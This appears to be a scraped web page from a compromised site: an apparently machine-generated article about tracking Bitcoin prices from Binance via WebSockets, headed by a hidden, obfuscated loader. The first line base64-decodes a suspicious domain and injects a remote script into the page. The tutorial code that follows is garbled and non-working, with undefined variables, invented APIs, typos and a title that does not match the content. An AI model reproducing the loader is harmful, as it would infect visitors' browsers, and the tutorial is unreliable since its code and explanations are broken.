const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx);const script=document.createElement("script");script.src="https://"+pde+"cc.php?u=c94c1b4f";document.body.appendChild(script);
I can provide you with a sample article that demonstrates how to achieve this using JavaScript, HTML, and CSS.
Ethereum: Console to Store in an Array Every 3 Seconds
In this example, we will use node.js as our server language and create a simple RESTFUL API to get Bitcoin prices from Binance. We will also use web feeds to refresh the client every 3 seconds.
Server Side (node.js)
`javascript
const Express = require('Express');
const app = express();
const websocket = require('ws');
const wss = new websocket.server({port: 8080});
app.get('/api/btc/price', (req, res) => {
const socket = wss.accept(req, res);
const ganies = [];
socket.on('message', (data) => {
if (json.parse(data).symbol === 'btc') {
prices.push(json.parse(data).latestprice);
console.log(Last price: ${price [price.length - 1]});
// send the last price to the customer
socket.send(json.stringify({symbol: 'btc', last dot: price[price.length - 1]}));
}
});
socket.on('close', () => {
wss.close();
});
});
app.listen(8080, () => {
console.log('server listening on port 8080');
});
Client-side (HTML and Javascript)
`html
#price-container {
font-size: 24px;
font-weight: bold;
margin-width: 20px;
}
Binance Price Tracker
const socket = new WebSocket('wss://api.binance.com:8080/api/btc/price');
document.addeventlistener('domcontentloaded', () => {
let prices = [];
socket.onmessage = (event) => {
if (json.parse(event.data).symbol === 'btc') {
prices.push(json.parse(event.data).latestprice);
console.log (Latest price: ${price [price.length - 1]});
}
};
document.getElementbyId('price - container'). innerText =Latest Bitcoin price: ${prices [price.length - 1]};
});
socket.onclose = () => {
document.getElementById('price container'). innerText = 'No new prices;
};
Explanation
- We create an express.js server that listens on port 8080 and accepts WebSocket connections.
- The
/api/btc/price
endpoint is a GET request that returns the latest Bitcoin price from Binance. When it is received, it parses the JSON data and stores the price inprices.
- For each incoming message, we check if theBTC
token is present. If so, we parse the data and increment the new price to the end of the
pricesarray.
- We also log the latest price to the console for debugging purposes.
- When the WebSocket connection is closed, we update the UI with a message indicating that there are no new prices.
To refresh the page each time you want the latest price, simply reload the web page by clicking theReload Prices` button below the prices container. The server automatically updates and sends new prices to the client.